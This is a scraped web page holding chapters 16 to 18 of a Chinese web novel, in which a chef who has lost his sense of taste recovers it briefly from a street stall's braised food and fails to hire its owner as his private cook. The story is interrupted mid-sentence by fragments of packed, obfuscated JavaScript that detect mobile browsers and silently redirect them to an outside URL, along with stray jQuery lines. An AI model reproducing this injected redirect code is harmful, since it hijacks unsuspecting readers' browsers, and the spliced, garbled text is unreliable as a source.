l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958735|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪器官。 这段时间元光霁精神上的痛苦和失去味觉后的厌食症并发反刍，让曾经的他变得阴郁暴躁，同曾经年纪轻轻就拿到厨界金奖的他截然不同。 家中所有人对他的关心都被拒之门外，除了帮忙找更多的医生，没有一点办法。 中医、西医，甚至一些鲜为人知的偏方，元光霁都不遗余力地尝试。 尝试越多，失望越多。 严重的进食障碍，对食物的恐惧。 原本热爱美食的元光霁当下唯有依靠针剂注射来保证必要的营养摄入。 除了外出寻医，他白天黑夜都把自己关在卧室，用厚重的布艺窗帘挡住所有阳光，将自己封闭在屋内，也封闭在自我厌弃的世界里。 许婉忧心地看向姑姑，光霁哥已然吃不下东西，可姑姑这连日里遭的罪也不少。 她小心拆掉宋记卤味包装袋上的死结，把包装好的卤菜放在餐桌上。 许婉强打精神，故作开心道。 “姑姑，你快尝尝我下班去买的卤菜~她家味道可好了，这还是公司同事介绍我去的呢。” 明华熙笑着看向许婉，“现在跟同事关系处得还不错吧？难怪你这丫头那么晚还回公司，我倒要尝尝什么东西能入咱们婉婉的法眼。” “这菜可不一般哦，我那个同事就是因为一直吃这个，皮肤都变得可好了，比明理姐之前去韩国打丽珠兰的效果还好！” 许婉洋洋得意，像一只骄傲的小公鸡般在姑姑面前卖弄。 “好好好，我倒要看看这菜有多好吃，让咱们婉婉这么夸奖。” 明华熙倒是没把许婉说的话全当真，这小丫头惯会做怪。 许婉的嘴巴一向挑剔，就连元光霁之前的手艺她也爱嘴硬，只说得出尚可两字。 闻言元光霁也不由得轻哼，难得挑起情绪同母亲开起玩笑。 “妈，你可得好好当评委，味道要是没她说得那么好，就把她这个月的工资全扣光。” “凭什么！”许婉不服气，恶狠狠地盯着元光霁。 元光霁被妹妹小牛犊一般的眼神弄得哑然失笑，“扣点工资怎么了，你爸妈又不是没给你生活费。” “这可是我辛辛苦苦的劳动所得。”许婉正声厉色，“哥，前台没你想得那么简单！” “对对对，咱们婉婉上班可卖力了，是华光的中流砥柱。” 明华熙应和道，她伸手向前，把装着卤菜的纸盒打开。 翠嫩的香菜葱花，红艳欲滴的辣椒，搭配着白芝麻，与盒子内浸润上色的卤菜协调搭配，从配色上就不断诱发着食欲。 盘里的褐色豆干表面布满气孔，每一个气孔都吸饱了卤汁，轻轻一压便能从豆干边缘溢出。深琥珀色的大理石花纹遍布鹌鹑蛋的表面，不用尝便知道这份卤菜已经卤制入味了。 因着已经不是新鲜出炉，那股上扬的热卤香气不再放肆地四面逃窜，却依然在明华熙掀起盖子后向外扑出。 “闻着确实不错。” 明华熙伸筷夹了一块豆干，放入口中咀嚼。 还没来得及被这份卤菜的味道所震撼，她的眼神已经随着自己儿子飞去。 餐桌左面，元光霁久违地伸出筷子，夹起一块土豆片。 他嘴唇微动，软糯的土豆片被咬下一小块。 咸鲜的味道在舌尖绽开，被精华萃取后的淀粉回甘在卤菜本身的味道后呈现，既不喧宾夺主，让卤菜本身的口感变得更好。 二者层级相互融洽，丝毫不显紊乱。 元光霁尝着味道，轻轻吸气想要探寻其中的香味。 胡椒、豆蔻... 不对，还有香茅草！ 元光霁的筷子哐当两声落入盘中，还没吃完的土豆片掉入白粥，汤汁溅到了他的衣袖上。 餐桌上，姑侄二人都被这番动静惊得没了动作，空气一片寂然。 两人的眼神紧紧地盯着他。 元光霁低着头，浓密但失了些光泽的头发盖着微微发热的眼睛。 毫无疑问，作为厨师，失去味觉对于他而言就等同于失去了整个世界。 他张了张嘴，喉咙像是被堵住一般，好半响发不出声音。 “妈。” 元光霁声音沙哑，抬着头对着一脸担忧的明华熙道。 “我能尝出味道了。” 恍然中有什么温热的东西划过母子二人的脸庞，明华熙抬手触碰。 原来是她的泪水。 17.第 17 章 工作日下午五点，繁华里小区外。 还未到下班点的夜市美食街此时显得格外冷清，两面的早餐店中午便已经早早关闭，其余的店门也是人庭冷落。 男人穿着纯黑色高龄毛衫，外披一件深色长款风衣，孤独地矗立在街边。 黑色立体口罩遮住下半张脸，倒显得眉眼格外清俊，只是苍白的肤色与体态中透着病弱之感。 “靠！一天天的卷没完了是吧！” 沿街的小区高层上，许铭一把最近的单子都给补全了，这会正跟朋友一起打游戏，趁着阵亡片刻出了卧室。 刚从冰箱里拿了罐挂着冰霜的可乐，斜眼便从阳台瞟到这么早便来排队的客人。 “叔可忍，婶也不能忍了！” 许铭一把可乐罐子往电脑桌上重重一放，离得近的粉蓝色耳麦也被震了一下。 “我靠，许鸽子你搞什么啊，动静小点声。” 突如其来的震动让网线对面的基友吓了一跳，一个跳跃直接被对面爆头送到复活点。 “这把打完不打了。” 许铭一愤愤地拉开拉环，碳酸饮料的气泡声被淹没在透明杯里。 “今天这么早就下去啊？” 对面的基友现在也对许铭一的行踪略知一二，只是远在千里之外，虽然也对许鸽子口中那个好吃得忍不住天天排队的宋记卤味好奇，但也没有大老远跑过来的兴趣。 “不去能行吗？这一天天真是一点武德都不讲了，全都在内卷！” 复活时间到，虽然手上还在操作，但许铭一已经注意着一旁手机上的时间，五点半还没到就已经穿上外套下楼去了。 酒香不怕巷子深，更何况以宋记卤味的真材实料，吃过的都忘不了。 在大家心照不宣的张罗下，宋记卤味网络上的名声仍旧不声不响，可线下的火热确实挡也挡不住。 就像人家宋老板原先只是新加个菜品，也就特殊在一天只卖两百个限量。 硬生生把这食客吃出了一股子饥饿营销的劲，为了买上个卤鸡腿卤鸭腿，这不良的排队之风是越来越旺盛。 许铭一下了楼，斜眼不屑地向前面几人望去。 还有一个小时宋老板才出摊，也不知道这帮子人是在着什么急？ 一天天的不学点好的，净知道搞内卷！显着你们了是吧！ 前面几人：不造啊，我看有人排队我就先跟着来了啊...... 元光霁双手插兜。 H市的深秋并不算寒冷，更别提今天还出了大太阳，阳光肆意地洒在大地，映得后边排队的小姑娘都忍不住打了个哈欠。 风衣兜里，他的双手握拳，指尖接触着掌心。然而那股寒凉始终无法被略有余热的手心捂热，元光霁低着头沉默地等待着。 昨天晚上，他吃到了由堂妹特意带过来的卤菜。 一个多月来，这是元光霁第一次发觉自己的味觉依然还存在。兴奋之余，只以为车祸的后遗症已经成功康复。 但当他兴致冲冲地对着桌上王阿姨做的其他家常菜下手时，却发觉事情并没有想象的那么轻松。 一筷子下去，桌上的小炒黄牛肉依然美味。 大火爆炒的牛肉片配合新鲜蒜薹，调味也比较适中。 可，这不是他从前的味觉。 他能尝到的绝对不止于此。 元光霁再次下筷，若说上一口还是对原有味蕾70%的保留，这一次，恐怕已经不足50%。 元光霁刚刚放松的眉头又拧了起来，在堂妹和母亲的注视下继续尝试，动筷的速度也是愈发快。 没过几下，他眸中的不安再次浮现。 又是这样。 为什么，又回到了什么味道也尝不出来的样子呢？ “光霁...” 元光霁看向母亲担忧地眼神，他心想。 不是错觉，方才虽然在不断试菜里，味觉的敏感在不断消失。 可那到底是真实存在的。 他惊疑地盯着餐桌上，那道与桌上其他成套高级餐具格格不入的卤菜包装盒，再次吃了一口。 藕片脆爽，但丝毫不影响卤汁的入味，咸香麻辣，更是带着一股夏日荷叶的香气。 他的确能够重新尝到味道了，只是，为何如此奇怪？ 味觉虽是恢复，但仿佛只是被用了一张效果时长极短的体验卡，就连品尝其他菜肴时，他那原本极为出色的味觉辨感也要逐渐消退直至消失。 元光霁疑惑地看向许婉。 他这个堂妹现在虽然被安排去了前台上班，但家里的锦衣玉食却从来没曾少了她的。 寻常市井小吃虽然也吃，但往常出行也都爱去些出名的大餐厅，他出事前也是常爱去他那吃饭。 许婉为何会突然跑去买这卤菜？ 这卤菜又为何会让他能短暂性地恢复味觉呢？ 明华熙和许婉知道他味觉尚未完全康复，二人都不再对桌上这份宋记卤味动筷，把菜挪到元光霁面前。 还是他好说歹说，才哄着她们最后多吃几口。 久病尚未痊愈，元光霁现在的食量的确不算大。 吃完晚饭，他还主动跟医生报备，担心多日来只进白粥，一下骤然吃些略微重口的卤味会不会加重身体不适。 好在夜晚沉睡时，他的胃部仿佛被几股热流护着，未曾出现不适不说，就连先前因为厌食症而出现的胃病也得到了缓解。 第二日一早，明华熙女士因为工作安排需得照常出差，元光霁摇了摇头拒绝了堂妹的陪伴，问明地点后打算自己独自前去。 只是，这背后总觉得有人盯着，总有种被人念叨的毛骨悚然。 元光霁皱着眉，未曾回头的他自然没见到身后队列里的食客，一个个来者不善的眼神。 六点半到，如堂妹所言，这宋记卤味的摊主终于出摊。 元光霁向后望去，后边的队伍也是排了一大串，身边离得最近的几位不知道为何都半蹲身子撑着腰。 “您好，自己选菜就可以，鸡腿鸭腿限量，一单只能买一份哦。” 元光霁的手中被飞速塞入一个选菜筒，而对面的那位店主早已经迅速地做着准备，不紧不慢地往盘里添鸡腿，多线程运行可谓熟练。 “有什么忌口吗？要不要辣椒？” 宋晚秋接过菜筒，明亮清澈的一双杏眼微微弯曲，显得格外亲切。 “没有忌口，不加辣椒。” 男人语气冷淡，插着衣兜在一旁等待着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982793|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他环视周围，怎么也没瞧见合适的位置，可心中的疑问却又不得不让他留下。 宋晚秋这些天来，出摊已成习惯，熟练地将菜篮里的食材分门别类地放到卤汤中复热。 最近天气越来越冷，原先复热的需要单独提出，如今已成默认章程。反倒是直接冷着打包带走的才是需要特意说明的。 “谢谢惠顾，欢迎下次光临。” 宋晚秋将今天的第一份卤菜封盖递给元光霁，鲜香欲滴的卤鸡腿也被贴心地分装好。 元光霁接过手来，无奈地走到一边的小角落，只得将架子抛开，一手捧着盒子一手揭开盖。 他拆开一次性竹筷，试探性地夹起一块香豆腐。 果然，还是能吃出味道。 元光霁神色复杂地看着手中的菜品，抛开这奇异的效用，手中的这份卤味就连味道颇为不俗。 今天这份更是刚刚从那大火煮沸的卤汤中新鲜复热，味道比起昨天餐桌上那份风味更佳。 元光霁不急不慢地盖上盖子，伸手从包装袋里拿出那只在七点后足以在宋记卤味出摊群里掀起一阵腥风血雨的卤鸡腿。 鸡腿肉在卤制过程中吸收了卤汤的精华，丰富的香料与油脂让它变得油润而不腻。肉质柔软却不松散，每一口都是汁水四溢，带着卤香的余韵在口中飘荡。 很不错的味道。 元光霁吃完卤鸡腿，眼睛直盯着那个在小吃摊忙碌的人。 只是，还差了些什么。 刀工、火候，这些在寻常厨师身上最需要被严格要求的基本功夫在这位摊主身上似乎并没有被好好训练。 这份卤菜若以寻常的眼光来看，自然已是不俗。其中格外卓越的调味水平与这特殊食材的口感，是构成这轰动一方的宋记卤味的最重要前提。 调味的确很精妙，卤汤的关键一味甚至有些浑然大成之感，即便是没出事前的他，乃至于他师父，恐怕都不能在此基础上再加修改。 但这恐怕还不如寻常家庭主妇的切片刀工，这笨拙的火候掌握，这份菜品的确也有需要精进的地方。 作为年纪轻轻便在厨界叱咤风云的元光霁自然有实力做出这样的判断。作为名厨，他对厨艺的深研，对各大名菜的品鉴，让元光霁得以惊艳之余依然能挑出刺来。 此刻，他的眼神中透着势在必得。 元光霁站起身来，将骨头伴着牛皮纸包装袋丢进一旁的垃圾桶，拎着刚动了没两口的卤菜打包盒又去了摊位前。 宋晚秋的长发今天以发带为辫，和顺地盘在一侧。 同样戴着口罩的她，上半张脸在口罩的遮挡下显得愈发精致动人。即使手上忙个不停，却依然散发着闲适感。 倒是同资料里证件照上紧绷的样子有些不同。 元光霁正眼看向宋晚秋。 人潮汹涌的摊位上，后方食客已然急不可耐，而另一侧，却突兀地站着一个穿着风衣的男人。宋晚秋抬头看向他，微微侧头示意，眼神疑惑。 元光霁看着对方，四目相对。 他轻顿下，继续开口，语气中带着藏不住的骄矜。 “您好，宋女士。” “我这边希望委托您做我的私人厨师，只为我服务，月薪30w。” 18.第 18 章 宋晚秋直愣愣地看向元光霁，一时间原本有些嘈杂的队列这会也陷入一片安静。 她扭头看向元光霁，虽是遮着半张脸，但通身的气质和深邃的眉眼却是怎么也挡不住的，只是身形看着有些病态的瘦弱，隐约透着些养尊处优的气势。 这段时间出摊以来，宋晚秋并不是第一天听到这种话。 想出钱注资和她合伙的，想花钱买下她的卤味配方的，千方百计想打探食材进货渠道的。 自然也有和眼前这个男人一般，想着出高价雇佣她做私人厨师的。 只是，这般大方的倒是的确少见。 “月薪可以给你开到30万，社保按照七险二金来，年底三倍年终，达成特殊任务后，还有不下七位数的奖金......” 见宋晚秋的神色不为所动，元光霁看向她的眼神越发专注，开出的条件也不断加码。 另一侧站着的食客此刻分外紧张地看向宋晚秋。 这帮有钱人干嘛要来抢宋老板！ 前天冒一个，今天又来，跟层不不穷的地鼠一样打也打不完！ 就这薪资，他们在一旁听着都要心动了，可别真把宋老板拐跑了！ 宋晚秋轻轻摇了摇头，继续处理着手中的菜品。 “抱歉，目前没有这样的想法。” “是对薪资还有什么顾虑吗？你可以随意提出要求，我会尽量满足。” 元光霁穷追不舍，眼神中带着渴切。 毕竟，这份高薪所聘请的并非只是宋晚秋的厨艺，而是一份能够让他恢复味觉，拯救自己的希望。 不比其他食客，经过昨天连夜安排调查，元光霁对这位经营宋记卤味的摊主已经了如指掌。 虽然暂时未曾摸清这个摊位的真实食材来源渠道，但他明白以资料上宋晚秋的身家背景，出摊自然是为了赚钱。 这种品质的菜品，进货价和卖价已然不成正比，毛利情况不容乐观。30W一个月的税后薪资，对比她曾经的工作薪资和目前的出摊收入，都是极大的提升。 宋晚秋依旧摇了摇头，拒绝道：“不好意思，我目前确实没有做私厨的想法。” 开什么玩笑！ 我现在出摊只需要下午干会活！穿签的时候还能看电视剧，卤菜的时候也能刷会短视频。 菜品煮熟后放在锅里浸泡，中途还能打开塞尔达传说。真正意义的上工也就出摊那会，赚得一单是一单。 不出摊不知道，她可算搞懂以前那些卖煎饼果子的小摊主为什么没干两年就开上奔驰宝马了。 以宋晚秋目前的盈利情况，晚间这一小时连带着卤菜和刚上新的单品通通卖完，每天的纯利润保底都有四千打底，能顶她之前上一个月班了。 一个月下来净收入就有十多万，向来跟房东押一付一的她前两周更是豪爽地直接付了半年房租。 这真要去做了私厨，又得低头打工不说，一日三餐早中晚，性价比也忒低了！ 元光霁迟疑地看向宋晚秋，眼中满是不解。 “你这边如果有其他要求都可以跟我说，我会尽量满足。” 元光霁认真道，向来傲气的他此刻谦卑低头，只是说出口的话却显得那么刺耳。 “宋女士，我来之前已经调查过你之前的工作经历。我可以担保，我这边的工作强度与薪资都会优于你之前的岗位。” 听闻此言，宋晚秋原本手上连贯的动作也停了下了，面部骤然变冷，眼中升起了怒意。 “你对我做了背调？” 元光霁点了点头，“虽然跟之前的薪资区间比起来涨幅相对较大，但是你可以坦然接受本次调薪变动，不必介意。” “呵。” 宋晚秋冷冷地看向眼前这个男人，对方原本还有些吸引人的气质此刻格外面目可憎。 她的眼神宛若刺骨冰刃，张口讥讽道。 “要做背调不也应该在我同意之后吗？你有什么资格对我进行事先调查？” 作为用怨气弥补资历的资深社畜，新晋摊主宋晚秋现如今依然对背调深痛恶觉。 元光霁对这扑面而来的怒火有些迟钝的疑惑，他抬了抬眉，询问道。 “我说过，你如果对薪资有要求可以随意提，我可以为你提供一个你无法拒绝的价格。” 宋晚秋怒极反笑，手边擦拭桌面的白布被拧成一团，重重地摔于桌面。 她死死地看向对面男人的眼，隐没在二人身影下是剑拔弩张的气场较量，旁边的客人都忍不住向后退避半分以免被他们身上散发的冷气暗伤。 对于宋晚秋而言，但凡从公司离职，她就不再希望同先前的人有任何联系，也不希望那些人从哪里得知她的消息。 从前的同事、领导、老板通通被拉入朋友圈不可见列表。 唯一能被接受的，要么是前司倒闭破产，要么是领导同事真去了天堂。 打工人对工作的恨意，远远胜过与前任的尴尬关系。 一想到面前这个男人，竟然不打一声招呼就对她进行背调，宋晚秋不禁咬了咬牙，恨不得来一场武力报复。 苍天啊！她可是连面试时，填上任工作联系人都只敢把联系方式改为大学室友手机号的啊！ 元光霁抿了抿嘴，这金钱牌打出去为何一丝回响都没听到，糖衣炮弹竟然也有失效的一天？ 对面这摊主看起来抗拒感倒是更重了。 出身优渥，前半载人生堪称顺风顺水的他此刻见此计不奏效，心中一急，慌忙再开口道。 “宋女士，除了薪资外，我这边还可以为你提供专业的厨艺指导。恕我直言，以你目前的刀工水平和控火能力，对于食材本身也是一种极大的浪费。” 元光霁端正态度，摘下脸上的立体口罩，似乎并没有意识到自己说出口的话引来了后边顾客多少仇恨的目光。 他深吸一口气，认真开口道，话语中仍旧带有一丝傲气。 “我是元光霁，风光霁月的光霁，去年刚刚获得世界青年厨师大赛金奖，目前独自在S市经营一家米其林二星级餐厅。” “我的师父是国宴厨师蒋乾，擅长鲁菜，是国内第一位，也是唯一一位获得博古斯世界烹饪大会金奖的大师。” “所以呢？” 宋晚秋的语气依旧冷淡，双手交叉抱胸。 她垂着眸子，眼神随意地向上瞟去，透露着不屑与轻视，这一个个响亮的名头在她的世界里无足轻重，对方的指控也没有进入她的心中。 元光霁有些急了，这些都不足以打动她吗？ 因为焦急，他的面色微微发红，从苍白的面色透了出来，原本肆意的面庞此刻看着倒是有些楚楚可怜。 “你难道不想增进自己的厨艺吗？难道，你能忍受在意识到缺陷后却无所作为的自己吗？” 他定了定神，自信开口道。 通过方才对宋晚秋的观察，再结合调查资料，那张纸质资料上被着重勾画后的一行字已经得到验证。 调查对象行为诊断：中度完美主义倾向，建议就医干预。 异常明显的洁癖，出现在摊位上的汤水污渍甚至挨不到第三秒便会被宋晚秋迅速抹去。 寻常人便是爱干净，也不会对那桌面摆放的细节展现出吹毛求疵的强迫症行为。 要么完美，要么失败。 元光霁有足够的信心，确认自己的底牌能够打动面前的宋晚秋。 “你总不能将自己的未来全都寄托在摆地摊上吧，宋女士？” 宋晚秋不置可否：“为什么不可以？” “我当然理解，你或许有个人爱好喜欢卖地摊卤味。”元光霁不解地望向对方。 “可名车、豪宅，亦或者事业上的成就感，这些不应该才是你真正的追求目标吗？” “当然不是。”宋晚秋不屑回应道。 “我对我目前的状态非常满足。” 尤其是，不需要上班，宋晚秋勾起嘴角。 完美主义之下，责任心是她的枷锁，胜负欲是她曾经奋斗的根源。 可钱是穷人胆，摆摊一个月来的收入彻底补足了她的不安，若不是担心顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995076|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客们造反太厉害，宋晚秋恨不得躺得更平些。 一些洁癖与强迫症行为不过是曾经遗留的习惯，当下的她已经实现了自洽。 当下，促使宋晚秋没有拿到钱直接躺平不出摊的原因，不是想要暴富而产生的对金钱的渴望，而是收获顾客喜爱和好评时，内心油然而生的满足感。 “不好意思，这位...元先生。” 宋晚秋冷冷看向对方，“私厨的工作，您还是另寻他人吧。后面还有很多客人等着，也请您不要妨碍出摊。” 她伸手示意，将呆站着的元光霁礼貌请离。 “宋晚秋小姐！” 慌乱中，元光霁无助地握住了宋晚秋的手腕，意识到手中触感后他急忙松开。 一双眸子无助地向面前这个面色冷淡的女人，此刻他终于放下了矜持与骄傲，眼中的破碎感显得格外动人。 “嘶——” 元光霁突然捂着胃，这段时间以来本就越发严重的胃病在方才的情绪激动下突然发作，他的唇间血色也不断褪去。 “有病就去找医生，我又不会治病。” 任是西子捧心，也不妨碍宋晚秋郎心似铁。 她重重地收回手，却在看到对方眼中的一层水雾后不由得停顿了下。 “没有，就是胃病又犯了。”元光霁适时地流露出几分脆弱，俊丽的五官在这番神态下格外惹人怜惜。只是美丽的外表下却依然隐藏着骄横的灵魂。 生来一副好皮相，元光霁对自己的外在条件心知肚明，无论是从前读书时还是后来开店，旁人偷偷摸摸按下的快门键从来没有逃脱过他的法眼。 “宋小姐，我因为车祸出了意外失去了味觉，什么东西都吃不下。好在昨天吃到您的卤菜，味觉才得以短暂恢复。” 元光霁垂下眸子，眼神直勾勾地望向宋晚秋，神态上应是对影视剧里卖身葬父的孤女做了些借鉴。 “很抱歉我的行为让您觉得不适，我是真心希望能够得到您的帮助。” 三十六计美人计。 元光霁维持着表情管理的假面，内心忍不住唾弃自己。 宋晚秋看着装乖的他，嘴角微微向上，但语气却依然未改。 “当然可以啦，如果对菜品有需求的话欢迎您每日前来购买，不过对于您所说的问题还是建议及时就医哦。” 她略过元光霁不可置信的面庞，向后望去：“好了，下一位！” 元光霁伪装的表情直接垮掉，眼前的人已经移走了全部注意力，全神贯注地同下一位女顾客沟通着。 “你们是不是有个群来着？” “对呀！宋老板你是不是一直没进群？我们都在等你进来呢。” 宋晚秋摘下手套，拿出手机，“那麻烦您给我扫一下码吧，主要是有点事正好跟大家说一声，免得明天都白跑一趟。” 【“秋秋人“ 通过扫描 “番茄不吐皮”分享的二维码加入群聊】 秋秋人【hello，大家好呀~我是宋记卤味的宋老板】 天天都要吃卤味【？别演了，咱们群里压根就没有正主】 番茄不吐皮【这个是真的宋老板呀！这会刚刚在摊位上拉进群的】 麻辣兔头【我作证，我是番茄姐姐后面第三个嘿嘿~】 求佛【宋老板，求加量！！！】 秋秋人【大家好呀~ (挥手.jpg)】 秋秋人【通知一下哦，明天我这边有事情，就不出摊啦，临时请假一下，大家不要来空了哦~】 天天都要吃卤味【假货！群主快出来支持正义！这一定是群友又想劝退别人自己买卤鸡腿的阴谋！】 池鱼【点了，宋记天天出摊很勤快的】 秋秋人【（自证自拍.jpg）】 照片里的宋晚秋比着剪刀手，实时的相片中虽然满面笑容，却温暖不了群友们破碎冰冷的心。 秋秋人【别丧气嘛（卖萌.jpg）】 秋秋人【明天有正事要做哦，约了人找门面，大家以后可以直接在店面里面就餐哦。】